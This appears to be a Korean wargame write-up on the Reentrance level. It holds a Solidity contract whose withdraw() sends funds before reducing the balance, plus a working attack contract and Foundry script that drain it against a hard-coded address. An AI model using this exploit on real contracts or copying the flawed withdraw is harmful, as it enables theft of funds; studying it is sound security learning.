: 돈을 보내는 쪽 컨트랙트가, 아직 내부 정리를 끝내기 전에 다시 불려 들어오는 상황
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
//먼저 msg.sender.call{value: _amount}(외부 호출)
//이 외부 호출이 잔고를 줄이기 전에 일어남으로
//외부 컨트랙트의 receive()안에 withdraw()를 넣어 반복적으로 호출하면
//같은 잔고 기록으로 여러번 출금을 뽑아낼 수 있다.
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
//외부 함수 호출 이후 잔고를 줄임
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
로직 정리
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
import {Script, console} from "forge-std/Script.sol";
import {Reentrance} from "../src/Reentrance.sol";
contract Attack {
Reentrance public bank;
constructor(address _bankAddress) public {
bank = Reentrance(payable(_bankAddress));
}
function attack() external payable {
require(msg.value >= 0.001 ether);
bank.donate{value: msg.value}(address(this));
bank.withdraw(msg.value);
}
receive() external payable {
uint256 targetBalance = address(bank).balance;
if (targetBalance > 0) {
bank.withdraw(msg.value);
}
}
}
contract PoC is Script {
address public target = 0x7183Bc3dC0cA3D46Ee700e152E47032401001173;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
Attack attack = new Attack(target);
attack.attack{value: 0.001 ether}();
vm.stopBroadcast();
}
}